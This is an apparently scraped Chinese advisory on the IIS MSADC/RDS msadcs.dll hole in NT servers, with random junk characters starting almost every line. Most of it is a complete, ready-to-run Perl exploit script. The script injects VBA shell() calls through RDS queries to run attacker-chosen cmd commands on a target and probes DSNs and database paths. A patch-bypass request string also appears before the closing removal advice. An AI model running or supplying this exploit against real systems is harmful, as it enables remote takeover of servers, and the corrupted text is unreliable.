IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[~W"$sT ,LSF@1|Fx 涉及程序：
y/$WjFj3" Microsoft NT server
!qV{OXdrB "
nq4! 描述：
m[LIM}Gu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
!<h*\%; (Vf&,b@U_ 详细：
ZC_b`q< 如果你没有时间读详细内容的话，就删除:
c;xL . c:\Program Files\Common Files\System\Msadc\msadcs.dll
d}EG I 有关的安全问题就没有了。
VSx[{yn 1U;je,) 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
e=o<yf9>Q \wCj$- ;Jt 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
MQ$[jOAqP 关于利用ODBC远程漏洞的描述，请参看:
H2BD 5 K,&)\r kzD http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qmdl:J|? }9/ 30 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
"w*VyD http://www.microsoft.com/security/bulletins/MS99-025faq.asp z\pT nteO U? [a@Hj{ 这里不再论述。
}W#Gf.$6C 05g U~6AF 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
D(Pd?iQIO MG*#-<OV. /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(*;b\h 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
we4e>) 8Focs p2
TbXp%O:[W #将下面这段保存为txt文件，然后: "perl -x 文件名"
)TP 1i -;a}'1HOE #!perl
[< }:b>a #
x>A(016:C # MSADC/RDS 'usage' (aka exploit) script
/1zi(z
#
.5 p"o- :D # by rain.forest.puppy
MH. ,dB& #
2 oXsPrtZ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7Y&W^]UZ0t # beta test and find errors!
r,(rWptf4 $ iUK,
? use Socket; use Getopt::Std;
rZLTai}`>
getopts("e:vd:h:XR", \%args);
|_&vW \ KqG:o+V= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
U ; JZN +7U$qEG if (!defined $args{h} && !defined $args{R}) {
1#qyD3K print qq~
D.kLx @Z Usage: msadc.pl -h <host> { -d <delay> -X -v }
p[4KN(PyK -h <host> = host you want to scan (ip or domain)
3 q^3znt -d <seconds> = delay between calls, default 1 second
%E}f7GT 4 -X = dump Index Server path table, if available
6%sX<)n%] -v = verbose
]OL
O~2j -e = external dictionary file for step 5
7 <*sP%6bD 0UB)FK ,9 Or a -R will resume a command session
m=j xTZK z4!TK ps ~; exit;}
?x 7zYE,6 @] uvpI!h $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
g XZ C% S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dT4?8: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'`p#%I@ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
x9 bfH1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S t7ZyN1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$ jWe!]ASU 8)\Td tBf9 if (!defined $args{R}){ $ret = &has_msadc;
7m~.V[l1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\ X FF( +)k%jIi! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
eU&[^ . "cmd /c ";
]dHU $in=<STDIN>; chomp $in;
.t*MGUg $command="cmd /c " . $in ;
FloCR=^H 8iaP(*J if (defined $args{R}) {&load; exit;}
r z+)z:u .aV#W@iyK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Eyv%"+> &try_btcustmr;
u|&"l H phvsre< print "\nStep 2: Trying to make our own DSN...";
0 "o% =i; &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
w[}5qAI5*f Jte: U*2 print "\nStep 3: Trying known DSNs...";
LG0+A}E=C &known_dsn;
a'u:1C^\ C ?JcCD2 print "\nStep 4: Trying known .mdbs...";
FBJw ( .Jr &known_mdb;
ZjF5*A8l pKJ0+mN#" if (defined $args{e}){
3qwi) nm print "\nStep 5: Trying dictionary of DSN names...";
w/BaaF.0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_^]2??V F6J,: print "Sorry Charley...maybe next time?\n";
[v h&o-6 exit;
L9ECF;) MKzIY:u g ##############################################################################
O
W`yv M6 l S2 sub sendraw { # ripped and modded from whisker
!E"&#>r sleep($delay); # it's a DoS on the server! At least on mine...
Y`
t-Bg!~ my ($pstr)=@_;
Teh
_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-X BD WV die("Socket problems\n");
i,|2F9YH if(connect(S,pack "SnA4x8",2,80,$target)){
`d]D=DtH select(S); $|=1;
BQ! v\1'C print $pstr; my @in=<S>;
P7np
-I* select(STDOUT); close(S);
CzDJbvv ] return @in;
8 -]\C } else { die("Can't connect...\n"); }}
&v9*D`7L 'qel3Fs" ##############################################################################
t M?3oO <* k]Aa3y sub make_header { # make the HTTP request
uU_lC5A| my $msadc=<<EOT
;%wQnhg POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*%'nlAX6% User-Agent: ACTIVEDATA
_=l8e-6r Host: $ip
3"afrA Content-Length: $clen
12r]"?@|s Connection: Keep-Alive
|:)UNb?R"O 1 ? be ADCClientVersion:01.06
sg0HYb%_E Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1@" L 7HfA{.|m --!ADM!ROX!YOUR!WORLD!
L
*",4! Content-Type: application/x-varg
${ fJ] Content-Length: $reqlen
o&WKk 5$ s.y wp{EF EOT
=, kH(rp2 ; $msadc=~s/\n/\r\n/g;
>wx1M1 return $msadc;}
f4{O~?= tA;#yM; ##############################################################################
/A$mP)}tz Eci,];S7 sub make_req { # make the RDS request
+'aG&^k4 my ($switch, $p1, $p2)=@_;
(.[HE
~ s? my $req=""; my $t1, $t2, $query, $dsn;
!<'0
GOl Qn0 1ig
if ($switch==1){ # this is the btcustmr.mdb query
oMdqg4HUF $query="Select * from Customers where City=" . make_shell();
+2X q+P $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
wP-BaB$ _ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Y24 3mq- L{)*evBL elsif ($switch==2){ # this is general make table query
R/5@*mv { $query="create table AZZ (B int, C varchar(10))";
P:Nj;Cxh $dsn="$p1";}
Vm6
0aXm_ xn1=@0
a elsif ($switch==3){ # this is general exploit table query
ZDffR: An $query="select * from AZZ where C=" . make_shell();
Km/#\$|} $dsn="$p1";}
nG B jxhl yex4A)n9"' elsif ($switch==4){ # attempt to hork file info from index server
R8"qD j $query="select path from scope()";
gxa @d a $dsn="Provider=MSIDXS;";}
2o5Pbdel ~#
~XDcc elsif ($switch==5){ # bad query
ftr? @^ $query="select";
d9bc>5%-F $dsn="$p1";}
{[W [S@+ UB5X2uBv $t1= make_unicode($query);
uPZ<hG#K $t2= make_unicode($dsn);
78o>UWA: $req = "\x02\x00\x03\x00";
Fkq ;Q $req.= "\x08\x00" . pack ("S1", length($t1));
0{0 A,;b $req.= "\x00\x00" . $t1 ;
< Wz+f+HC $req.= "\x08\x00" . pack ("S1", length($t2));
b`%(.& $req.= "\x00\x00" . $t2 ;
22`N(_ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
. |d2s return $req;}
H<YhO&D*u Ic!8$NhRS ##############################################################################
L"Vi:zdp f3bZ*G%f sub make_shell { # this makes the shell() statement
;Nfd return "'|shell(\"$command\")|'";}
fG{ 9doUD d]bM,`K* 6 ##############################################################################
+#$(>6Zu"{ !/]vt?v#^ sub make_unicode { # quick little function to convert to unicode
(j*1sk my ($in)=@_; my $out;
7"|j.Yq$H{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
J|Af`HJ return $out;}
=A yDVWpE vH`m
W`= ##############################################################################
aM2[<m} *Y!c6eA sub rdo_success { # checks for RDO return success (this is kludge)
FXF#v>& my (@in) = @_; my $base=content_start(@in);
zG%ZDH^82_ if($in[$base]=~/multipart\/mixed/){
N7}Y\1-8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
cbHb!L bg return 0;}
ueimTX k yEvuTgDv ##############################################################################
DnY7$']"| PNn- @=% sub make_dsn { # this makes a DSN for us
9gS.G2 my @drives=("c","d","e","f");
B^{87YR print "\nMaking DSN: ";
+ 0)zB;~7 foreach $drive (@drives) {
w
=MZi=p print "$drive: ";
R3`Rr j Z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
`% a+LU2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
\ Gzo^w . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Gb?O-z%8* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$IdY(f:.:5 return 0 if $2 eq "404"; # not found/doesn't exist
^Ko{#qbl/ if($2 eq "200") {
>mWu+ Nn: foreach $line (@results) {
ab 5uZ0@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
IQ9jTkW l } return 0;}
[>pqf Y64B"J=P 9 ##############################################################################
P2 Or|_z qUW>qi, sub verify_exists {
r]0UF0# my ($page)=@_;
dE[_]2];P my @results=sendraw("GET $page HTTP/1.0\n\n");
":o1g5? return $results[0];}
Nvef+L,v 4
Ii@_r> ##############################################################################
#9 F e, O8J:Tw}M* sub try_btcustmr {
+.p$Yi` my @drives=("c","d","e","f");
6BPZ2EQ my @dirs=("winnt","winnt35","winnt351","win","windows");
|B0.*te6 guD?~-Q foreach $dir (@dirs) {
k*; 2QED print "$dir -> "; # fun status so you can see progress
s\-^v j3 foreach $drive (@drives) {
o`@B*, @ print "$drive: "; # ditto
JMT?+/Q bu $reqlen=length( make_req(1,$drive,$dir) ) - 28;
w|1Gb[ $reqlenlen=length( "$reqlen" );
.QhH!#Y2D $clen= 206 + $reqlenlen + $reqlen;
!iOuIY jV v {H3DgyG my @results=sendraw(make_header() . make_req(1,$drive,$dir));
e$wbYByW if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
X>
*o\ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
F! |?S: X kP6P/F|RcZ ##############################################################################
jgr2qSU C >VAZ^kgi sub odbc_error {
\sy;ca)[6g my (@in)=@_; my $base;
-}ebn*7i\ my $base = content_start(@in);
I)-u)P?2x if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
LqHeLN $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c0 H8FF3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~'4:{xH $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>:Zl YZ6sI return $in[$base+4].$in[$base+5].$in[$base+6];}
GC3:ZpV` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[|sK u#yW print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
b=#3p $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;5* )kX D4 "](RXH ##############################################################################
h= 3156M MRB>(} sub verbose {
3xW;qNj:!l my ($in)=@_;
;'Pi(TA) return if !$verbose;
n
^T_pqV?X print STDOUT "\n$in\n";}
(VPT% l6 Yg;g!~ ##############################################################################
q5$z:'zE %; .|?gR sub save {
%5_eos&<^) my ($p1, $p2, $p3, $p4)=@_;
,u}n!quA open(OUT, ">rds.save") || print "Problem saving parameters...\n";
==psPyLF@ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
))n7.pB9/ close OUT;}
o(W|BD! @" ~ Mglgw ##############################################################################
%qzp t{'?< u+]v. Mt sub load {
mf26AIlkQ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
y> S.B/ d open(IN,"<rds.save") || die("Couldn't open rds.save\n");
F:/ R'0 @p=<IN>; close(IN);
5 JbPB!5; $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
OpwZTy}1} $target= inet_aton($ip) || die("inet_aton problems");
t[6 g9 e$ print "Resuming to $ip ...";
;+-$ =l3[a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Sa&~\!0t if($p[1]==1) {
,i2%FW $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qj71
rj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
cJ&e^$:Er my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Ii?"`d +JA if (rdo_success(@results)){print "Success!\n";}
.P=uR 8 else { print "failed\n"; verbose(odbc_error(@results));}}
ou44vKzS elsif ($p[1]==3){
Z_qs_/y if(run_query("$p[3]")){
b; SFnZa8 print "Success!\n";} else { print "failed\n"; }}
S.+)">buH elsif ($p[1]==4){
@o+T<}kW X if(run_query($drvst . "$p[3]")){
SnbH`\U" print "Success!\n"; } else { print "failed\n"; }}
(k"oV>a| exit;}
N(?yOB4gt %iI0JF*E z ##############################################################################
Z6&s 6M F N0 c+V["s sub create_table {
`8F%bc54iw my ($in)=@_;
ZkYc9!an Y $reqlen=length( make_req(2,$in,"") ) - 28;
D PnKr/ $reqlenlen=length( "$reqlen" );
{uO8VL5+Qx $clen= 206 + $reqlenlen + $reqlen;
x8T5aS my @results=sendraw(make_header() . make_req(2,$in,""));
]{OEU]I@ return 1 if rdo_success(@results);
XN"V{;O P1 my $temp= odbc_error(@results); verbose($temp);
Z'GO p? return 1 if $temp=~/Table 'AZZ' already exists/;
Gvt.m&_ return 0;}
*seKph+' c KQ/v](7 7 ##############################################################################
*DX6m vi6EI
wZG sub known_dsn {
}>xgz hd T # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
oll~|J^sg my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)_T[thf] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Sv -}w$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
2
G_*Pqc a#1LGH7E8 foreach $dSn (@dsns) {
qH6DZ| print ".";
h*h V next if (!is_access("DSN=$dSn"));
gQ
h0-Dnw if(create_table("DSN=$dSn")){
] Bs ? print "$dSn successful\n";
5;V#Z@S if(run_query("DSN=$dSn")){
UD*#!H print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(0W%Y Z!& print "Something's borked. Use verbose next time\n";}}} print "\n";}
,"PwNv JRA. ,tQc ##############################################################################
_]tR1T5e .jr1<LE sub is_access {
Ta!.oC[
my ($in)=@_;
g\
@ nA4 $reqlen=length( make_req(5,$in,"") ) - 28;
n/s!S & $reqlenlen=length( "$reqlen" );
mN?'Ae y $clen= 206 + $reqlenlen + $reqlen;
"yc/8{U
my @results=sendraw(make_header() . make_req(5,$in,""));
MPO!qSS ] my $temp= odbc_error(@results);
C[r YVa
. verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Y[ T;j p(k return 0;}
Ii*v(`2b _\"P<+! ##############################################################################
N{/q
p X3]E8)645N sub run_query {
|.:O$/ Tt[ my ($in)=@_;
)1j~(C)E8 $reqlen=length( make_req(3,$in,"") ) - 28;
;ijJ%/ $reqlenlen=length( "$reqlen" );
5"y
p|Yl $clen= 206 + $reqlenlen + $reqlen;
svyC(m)' my @results=sendraw(make_header() . make_req(3,$in,""));
5S$HDO& return 1 if rdo_success(@results);
;k7` ` my $temp= odbc_error(@results); verbose($temp);
]Vl5v5_ return 0;}
qPE(Lt1 VR_+/,~ ##############################################################################
7^KQQ([ D5T\X-+]O sub known_mdb {
; Z61|@Y my @drives=("c","d","e","f","g");
]-%ZN+ my @dirs=("winnt","winnt35","winnt351","win","windows");
~A8lvuw3 my $dir, $drive, $mdb;
vG\]xM'u my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:c)<B@NqNo 30>TxL=& # this is sparse, because I don't know of many
Eg-b5Z); my @sysmdbs=( "\\catroot\\icatalog.mdb",
<4{@g]0R V "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'[Oi_g E. "\\system32\\certmdb.mdb",
AXPUJ?V "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
u{H,i(mx? 7L;yN..0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~uC4>+dk "\\cfusion\\cfapps\\forums\\forums_.mdb",
um#;S; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
92Ar0j] "\\cfusion\\cfapps\\security\\realm_.mdb",
M |d[iaM, "\\cfusion\\cfapps\\security\\data\\realm.mdb",
UUb!2sO "\\cfusion\\database\\cfexamples.mdb",
S;ulJ*qv "\\cfusion\\database\\cfsnippets.mdb",
#A]7cMZ'W "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
83i%3[L "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
gSR&CnqZ< "\\cfusion\\brighttiger\\database\\cleam.mdb",
dhK$ XG "\\cfusion\\database\\smpolicy.mdb",
a4 `@z:l "\\cfusion\\database\cypress.mdb",
7R) )(- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
e,~c~Db*
Q "\\website\\cgi-win\\dbsample.mdb",
o,\%c" mC "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
V]k!] "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
a2=wJhk ); #these are just
Y[s foreach $drive (@drives) {
-&,NM foreach $dir (@dirs){
Rdt8jY6F/ foreach $mdb (@sysmdbs) {
;%dkwKO print ".";
i'e^[oZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
;\<?LTp/r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Z(as@gj H if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
`t!iknOQ$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
aGpRdF1;! } else { print "Something's borked. Use verbose next time\n"; }}}}}
zo} SS[ Vg
\-^$ foreach $drive (@drives) {
a
_ foreach $mdb (@mdbs) {
i+&= "Z@ print ".";
~d5"<`<^o if(create_table($drv . $drive . $dir . $mdb)){
_\]D<\St print "\n" . $drive . $dir . $mdb . " successful\n";
z(\H.P# if(run_query($drv . $drive . $dir . $mdb)){
oSa FmP print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
3 4;c00 } else { print "Something's borked. Use verbose next time\n"; }}}}
Ac7`nvI= }
"E''ZBLO~ V'K$:9^x[8 ##############################################################################
P< WD_W G~B
V^ sub hork_idx {
4` 8.\ print "\nAttempting to dump Index Server tables...\n";
_a<PUdP print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
/0o 2 $reqlen=length( make_req(4,"","") ) - 28;
Plq [Ml9
$reqlenlen=length( "$reqlen" );
y'@l,MN{ $clen= 206 + $reqlenlen + $reqlen;
*?K` T^LS my @results=sendraw2(make_header() . make_req(4,"",""));
oQ y G if (rdo_success(@results)){
Q.y KbO<[ my $max=@results; my $c; my %d;
2OT6*+D for($c=19; $c<$max; $c++){
~-:C N(U $results[$c]=~s/\x00//g;
&PgdCijGq; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
v$tS 2N2 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_ZS<z Q' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
M9&tys[ KX $d{"$1$2"}="";}
~ml\| foreach $c (keys %d){ print "$c\n"; }
FwW%@Y } else {print "Index server doesn't seem to be installed.\n"; }}
\pzvoj7{ vq5I 2 ##############################################################################
<M&]*|q>g% n/|/Womr sub dsn_dict {
epG;=\f}m` open(IN, "<$args{e}") || die("Can't open external dictionary\n");
w5*18L=O\ while(<IN>){
^U`q1Pg5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<=7 )t. next if (!is_access("DSN=$dSn"));
~IqT > if(create_table("DSN=$dSn")){
njq-iU print "$dSn successful\n";
X4k/7EA if(run_query("DSN=$dSn")){
F_r eBPx print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/uyQ>Y*-\Y print "Something's borked. Use verbose next time\n";}}}
4Dd9cG,lN print "\n"; close(IN);}
RsOK5XnQ n " LxJPt\ ##############################################################################
@2$8o]et }`M6+.z3F sub sendraw2 { # ripped and modded from whisker
@<6-uk3S sleep($delay); # it's a DoS on the server! At least on mine...
X_ YD[ my ($pstr)=@_;
V 3+%KkN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'~2v /[<`} die("Socket problems\n");
|1<Z3\+_/ if(connect(S,pack "SnA4x8",2,80,$target)){
^CE:?>a$ print "Connected. Getting data";
*ap#*}r!Nk open(OUT,">raw.out"); my @in;
[`b{eLCFX] select(S); $|=1; print $pstr;
VuBp$H(U while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
mPD'" close(OUT); select(STDOUT); close(S); return @in;
r9t{/})A } else { die("Can't connect...\n"); }}
=|#-Rm^YB [ho 'Pc3A< ##############################################################################
XM 7zA^- WcJ{} V9 sub content_start { # this will take in the server headers
tV,zz;* Oe my (@in)=@_; my $c;
y@O r2b O# for ($c=1;$c<500;$c++) {
0iB 1_) ~ if($in[$c] =~/^\x0d\x0a/){
tQ|I$5jNJ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Y~:7l5C else { return $c+1; }}}
kL3=7t^ 1 return -1;} # it should never get here actually
&
vIKN GJ^ a,E;R$[! ##############################################################################
jCl[!L5/1 Lg nGqIlx sub funky {
w:N2
x I my (@in)=@_; my $error=odbc_error(@in);
37[C^R!1c if($error=~/ADO could not find the specified provider/){
\mDm *UuG
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
PaZYs~EO
exit;}
gJ7$G3&oZg if($error=~/A Handler is required/){
#RD%GLY print "\nServer has custom handler filters (they most likely are patched)\n";
;'Q{ ywr exit;}
(j /O=$mJ if($error=~/specified Handler has denied Access/){
eo8 0L print "\nServer has custom handler filters (they most likely are patched)\n";
*o#`l H exit;}}
onl yvH4 =e+go
]87x ##############################################################################
B dKwWgi+a **"P A8 sub has_msadc {
@hvq,[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
w&gH mi my $base=content_start(@results);
hJ@nW5CI return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^ v'Lu!\f return 0;}
{8MF!CG] 9e5UTJ ########################
PA/6l"-`3 b1OB'P 8
DNy)\+ [
解决方案：
8B+uNN~%] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?.s*)n 2、移除web 目录: /msadc
